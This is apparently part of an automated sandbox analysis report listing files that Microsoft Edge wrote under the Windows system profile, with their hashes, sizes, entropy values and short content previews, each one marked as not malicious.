Preview:	2025/01/08-10:19:01.138 6c8 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage since it was missing..2025/01/08-10:19:01.194 6c8 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.019797536844534
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tkn:qolXtWswXU2tkn
MD5:	90881C9C26F29FCA29815A08BA858544
SHA1:	06FEE974987B91D82C2839A4BB12991FA99E1BDD
SHA-256:	A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
SHA-512:	15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
Malicious:	false
Preview:	...n'................_mts_schema_descriptor...

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.189581736527825
Encrypted:	false
SSDEEP:	6:iOOtDJYDhP5c23oH+TcwtBx2KLlYtkkQ+q2TYDhP5c23oH+TcwtpIFUv:70ePhYebBVLYpVvsPhYebmFUv
MD5:	A41F10BA5E2C4B7E552B0998F693C41C
SHA1:	CBFA1875712319D155E47ECF1E4A6404C19F5582
SHA-256:	B65FCDC13A0B6879B9E1034CA9A6B5674B9B181C8202565466538D81D8565D1B
SHA-512:	573AA6303CF028888950A0A96848A54DC638B2290167911323CA266316775C07C6B676FF59D3959C3A18E5748979DC69DBF2F28D14CBA6BAF881D77AF7D793BC
Malicious:	false
Preview:	2025/01/08-10:18:44.244 df8 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB since it was missing..2025/01/08-10:18:44.430 df8 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.35825715040616096
Encrypted:	false
SSDEEP:	12:TLiNUyq1YA5yEHFxOUwa5qguyZ75fOSme2d:TLiuym8I6Uwcc25fBlC
MD5:	C46D4F7E6D7914D5FE3E867B0FC00A9F
SHA1:	8D7C399B0E4E3A76BC442C6D08C4F97C289B261B
SHA-256:	71C6980F5120E57C4E0AA0CC50B19D1F64C3837B5B174C504CB424BFF63AA7F3
SHA-512:	12133A44B66510634853E80C8B9AC8703642B2E95610CAFE8FFEC4358E0F648EE20742961E183230AB4E41AD5D0DEB2D47D2451A4D432FE6CD05B96D017DE16F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g.....4....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.002095330713584969
Encrypted:	false
SSDEEP:	3:ImtVDs:IiVo
MD5:	DC9BEB599F52FFCA7C1698695B0892AF
SHA1:	33A3899DB620D275E2B4CDD6FD6518B16D908993
SHA-256:	5EE5C558454E67232E9066F95402BF59D90A7228DDF28E71D73D5077B0DCA74F
SHA-512:	2D90C15DEE1F7DBF144456B392E105C99D8D773F810A0D64D46B8BD4EBF8A8554F1C9D8801F45F502AF0D039D60C23BEFF287039B345CDDAB9CE80143611C16A
Malicious:	false
Preview:	VLnk.....?......;?..6t.,................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 3, database pages 58, cookie 0x25, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	1.147796728702347
Encrypted:	false
SSDEEP:	192:mPoZY9zIH9xhoOnGCTjHbRjyeoqtzK1eaW29E6Vumy6W:mPh9za9xxnseoqtzK1en2/Vumyn
MD5:	B404F5155133E179BF8A1A19F02B4048
SHA1:	14403560C11C2D36D0C06341464D9A2DFB7C074D
SHA-256:	E1963A90ACD3D0F4DBB2748B8C43BDD1E013D3D188499B8165DB87B6679DA038
SHA-512:	3D5D2FE53ADE8EEAE1249B004052DB07E16A2F0149590FAE0EC0DF11854064291B150ECED8B1AA87F73872AFE78CAF91D178773C902EECABC6AD61F73576CAA4
Malicious:	false
Preview:	SQLite format 3......@ .......:...........%......................................................S`...........2........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.6861432096545633
Encrypted:	false
SSDEEP:	12:LBtiNQNr6XpAwqAYqAdjAX9lFyDcAAcAopAOFw6zhKPf0ehdkAX9g/u+:LLi+NWXp22iSBscGiOxhK3thdkSKm+
MD5:	CD94C4D2E58565DFA7894D1D9A7FDF95
SHA1:	1041FA15171CCEC920D2D62BEF6824F67FA56901
SHA-256:	AAFAE4BA38E8CD120EC8881D6DFA7AE18E1EB17763345EB3D2476075B40658DE
SHA-512:	F0F43F25A473851DF8C2B8C38367435F39D9E25EDC65E124C6CE938210735A193A23E69280B8503D52A8C0BE25D62FA8051A5CB85A2208A52B47E6328D3BB2F2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`...............^....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\a607a6e0-d121-46b9-acd8-938366051ae4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\bd0da526-500b-4ec5-9cd7-b01a7259ff1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\d6c0abb3-e1ae-49e5-a323-fe466bff5f5a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23937
Entropy (8bit):	5.590093052116086
Encrypted:	false
SSDEEP:	384:nWTfCtsFFMKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVMnLlk9qCOrUR5fR/pFIC:nWDWsfM8F1+UoAYDCx9Tuqh0VfUC9xbm
MD5:	D57102C6794C15078946F3EE7790A0AA
SHA1:	1A10319CB04BD40A9A5826C882FA9FF8E731B9DB
SHA-256:	DF1BC487EAAAEECE5C4D6F29BDE6440C807FE6C0EBCFEB6006E49A2B933FCF61
SHA-512:	2D7E7657D19AFE3B07D48C3368834F4125B4B0FAD96372BD953B4958D53FE8285F940B8BF471A7493573A34973300BC6989A6EE3FA657D9BA33D8E9C7547D0A5
Malicious:	false
Preview:	{"extensions":{"settings":{"ampmimodbocknpfehkbdjolnnbongejb":{"state":1},"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13380823124247101","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","https://onenote.gov.online.office365.us/","https://powerpoint.gov.online.office365.us/","https://word-edit.gov.online.office365.us/","https://*excel.dod.onli

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000002.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Xv:1qIF/
MD5:	206702161F94C5CD39FADD03F4014D98
SHA1:	BD8BFC144FB5326D21BD1531523D9FB50E1B600A
SHA-256:	1005A525006F148C86EFCBFB36C6EAC091B311532448010F70F7DE9A68007167
SHA-512:	0AF09F26941B11991C750D1A2B525C39A8970900E98CBA96FD1B55DBF93FEE79E18B8AAB258F48B4F7BDA40D059629BC7770D84371235CDB1352A4F17F80E145
Malicious:	false
Preview:	MANIFEST-000002.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	224
Entropy (8bit):	5.152525635759937
Encrypted:	false
SSDEEP:	6:iOOJ2qJYDhP5c23oH+TcwtU4ERcFOjB2KLlYJqh7g:7YmPhYebUJOMjFL0eg
MD5:	10A30DF634F1F1C39A27DCE68FCD0238
SHA1:	80A0CE8684DBDF0DC7D28CC84AEE5777FB270ADF
SHA-256:	B1385F5E45F7689AA396F58925519B1E1C9398D0DE383143B984973529127501
SHA-512:	D719E68535A6C20639CBF05E51E60D1060A62C004B78FF3567F3D0A0CFA8CA5D0C07D9DD9F35E0C298A901C5568C56B4F6EDA914B48BB2C8151DF729D28CC95F
Malicious:	false
Preview:	2025/01/08-10:18:48.133 d90 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb since it was missing..2025/01/08-10:18:48.192 d90 Delete type=3 #1.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000002

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.948758439731456
Encrypted:	false
SSDEEP:	3:Ukk/vxQRDKIVqU0blS:oO7iblS
MD5:	22BF0E81636B1B45051B138F48B3D148
SHA1:	56755D203579AB356E5620CE7E85519AD69D614A
SHA-256:	E292F241DAAFC3DF90F3E2D339C61C6E2787A0D0739AAC764E1EA9BB8544EE97
SHA-512:	A4CF1F5C74E0DF85DDA8750BE9070E24E19B8BE15C6F22F0C234EF8423EF9CA3DB22BA9EF777D64C33E8FD49FADA6FCCA26C1A14BA18E8472370533A1C65D8D0
Malicious:	false
Preview:	V........leveldb.BytewiseComparator...............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.340905649345012
Encrypted:	false
SSDEEP:	12:TLiqiUnGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiZNiD+lZk/Fj+6UwccNp15fBG
MD5:	B11E5455DBFF7FCC2B02933DB574441D
SHA1:	3EE66D609B4260B5A65524E2E2B6AF5E88B07EEF
SHA-256:	083E9F0A764A91F7E1DE106C893A78BF46321585E0682C54C4B690433FF87903
SHA-512:	9ABC60253E12F631EF11C70CFD4D8C2FAEFE17853AB83AAA43ED90484B76BCE016F3E51D7EB602239C97F87987F08B433F10836168C06CA195F54A8BE8319BF0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\e3f77b25-49a3-4a3a-9ca0-9df753271e03.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (11121), with no line terminators
Category:	dropped
Size (bytes):	11121
Entropy (8bit):	5.422795552929567
Encrypted:	false
SSDEEP:	192:nkHQAR6YWhodpgDkYv4XkdkI1CI3+ruk1JzwnnJKPmOrufp2b6O:nkH3RaCGvPfCI26sUU
MD5:	DFB9A397F0179A3C299B658C635F1760
SHA1:	E6A2B1A7D5BCBFE790F7D6E485A165D2FAE99DF2
SHA-256:	5E7C41B20BCD135CF636D4A701F0318B0249CAE195D0A91BE4C9C2AD90115EF9
SHA-512:	3BEC98A6AAC2F59064592B9439A8CB1C428ACB0E93E26A79AE748C7EEA22CD0252329E05E042C547F2C3446D96B565D72E7630B093C3D7F3C5D5F823A49F8697
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13380823125528514","alternate_error_pages":{"backup":true},"autocomplete":{"retention_policy_last_version":94},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":false,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":632,"browser_content_container_width":996,"browser_content_container_x":0,"browser_content_container_y":112,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2870,"this_week_services_downstream_foreground_kb":{"109536380":106,"112189210":1,"113604596":3,"113711087":10,"12038966":87,"41274743":1,"4327694":0,"67541500":14,"70858119":1}},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13380823125528441"},"download":{"defau

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\ed437f70-865b-45c9-9f8e-2be79bcd4f25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (10937), with no line terminators
Category:	dropped
Size (bytes):	10937
Entropy (8bit):	5.426035739613688
Encrypted:	false
SSDEEP:	192:nkXCMAR6YWhodpgDkYv4XkQI1CI3+ruk1JzwnnJKPmOrufp2i6O:nkXCjRaCGvP1CI26sUf
MD5:	50D9D5D1A088602CB3E88BB2E3B5D724
SHA1:	BA2F8A7C787D3BA904E70B553773F6DD4E91D225
SHA-256:	9A9C1D1BFA6D5D196096AD81D3DB292FEBED7DB28FD78D8F2F94B1B797BFF919
SHA-512:	647DDDA979054768A0643CBB4BC57EE9697C4AAB337CD4859661EC6B835AD99EADAB826C694EA11F8E9F41238065D6CA7FD998BC12A3E2FFA54FF8BF9B51D03E
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13380823125528514","alternate_error_pages":{"backup":true},"autocomplete":{"retention_policy_last_version":94},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":true,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":665,"browser_content_container_width":1024,"browser_content_container_x":0,"browser_content_container_y":103,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2870,"this_week_services_downstream_foreground_kb":{"109536380":106,"112189210":1,"113604596":3,"12038966":87,"41274743":1,"67541500":5,"70858119":1}},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13380823125528441"},"download":{"default_directory":""},"dual_engi

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3520970289101682
Encrypted:	false
SSDEEP:	12:TLClFwaBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLSdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	55F778626761B226D19C9C8274DF2439
SHA1:	43C5D4AF9773FF84D0FF187A4E1A72E6804B82E7
SHA-256:	DD487DC1556A3E1FBDFCF3151839B07A5B9EC36B4554F1A7BB35A97CACE60839
SHA-512:	DB63B2D2A5AC074244EA937DE49E110C36B5AF2C5B0698C51E5A0B93163703FB2BDDBEF9A700B7A66D1C96709A9FD702D5597DEF9FCD6CEA3F50D1C0BE88ED20
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, writer version 2, read version 2, file counter 1, database pages 1, cookie 0, schema 0, unknown 0 encoding, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.0900719749007182
Encrypted:	false
SSDEEP:	3:lSWFN3sl+ltl1FolvXll:l9Fys1Po
MD5:	FBA3A6CE4B85E7F019F2335DDE78F3E3
SHA1:	27C357AB868CCFDB0EAD5A7DBA20F0AB1A178243
SHA-256:	0288655CBF53C3C1C838B83AA061C1BB960004D99652857589DF08BE3BE4C8F8
SHA-512:	F0D44E3DE5FBD2D124D3523E053CFA79BE5640E4FD2CFB4FC21F91CEF226540A22328E15A414C6C69D792ECE4C7FC7A8E86A7BF8F11C055324B89DE00469BD48
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.28499812076190567
Encrypted:	false
SSDEEP:	3:7FEG2l/oHtdlFll:7+/l/
MD5:	D00093F9986F5CB70641AC17EEBCDBC2
SHA1:	E4E5835BCCC83FFDEECF6C7710F88C239BCE1025
SHA-256:	32179A051876023358BEABABD24BC46C028D1809BA4B929480DB8D5A7DFBB707
SHA-512:	554B4D17C6A7607311377193E5CE392EEFDB80561ACD9A933F82BF4022ECB694FA2276D399F7C2453EC1DE281B7D234A823CB8AF8C31921A307A249385ED62A0
Malicious:	false
Preview:	.... .c.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.7802064781314408
Encrypted:	false
SSDEEP:	48:VCAionnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnE/yjyjyjyZ:VCzlX4Xod8m88
MD5:	890FAA52C5AA3599F05AA19916E619BD
SHA1:	EEB73A61222216DD2F357C66D6F1B9809EBDCA3F
SHA-256:	91A86EC2DF28A86CD4F1319D873CE2C85256E8F6C239D6DAC4E39D9A345BF17B
SHA-512:	ADD078D8D54C2FAD64180021B5EB43A3BE03121D387D867D1ABD30DE00414D31079D1310C2B890313E2F74CD7C27F76B181993D5E8EEC72FE8629C21EEAF12B2
Malicious:	false
Preview:	..-.............3...........Qk......j........I..-.............3...........Qk......j........I......../...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	3374312
Entropy (8bit):	3.929386932076021
Encrypted:	false
SSDEEP:	12288:aP4yvirowFCVP7mquvk1Xyf78U0Lu6x5MhUS2cOZI+XXHTuj3xlHsp3wQk8e:l
MD5:	C38DEDC9E8016D39682D4932E46AAEE7
SHA1:	EBD3EACA2426876BFC126A28DE2A6DFD651CE13C
SHA-256:	6AA1B66721E17ED8B982DC1602A030EA798AA3291474B7E97FD47FADD3A62DC2
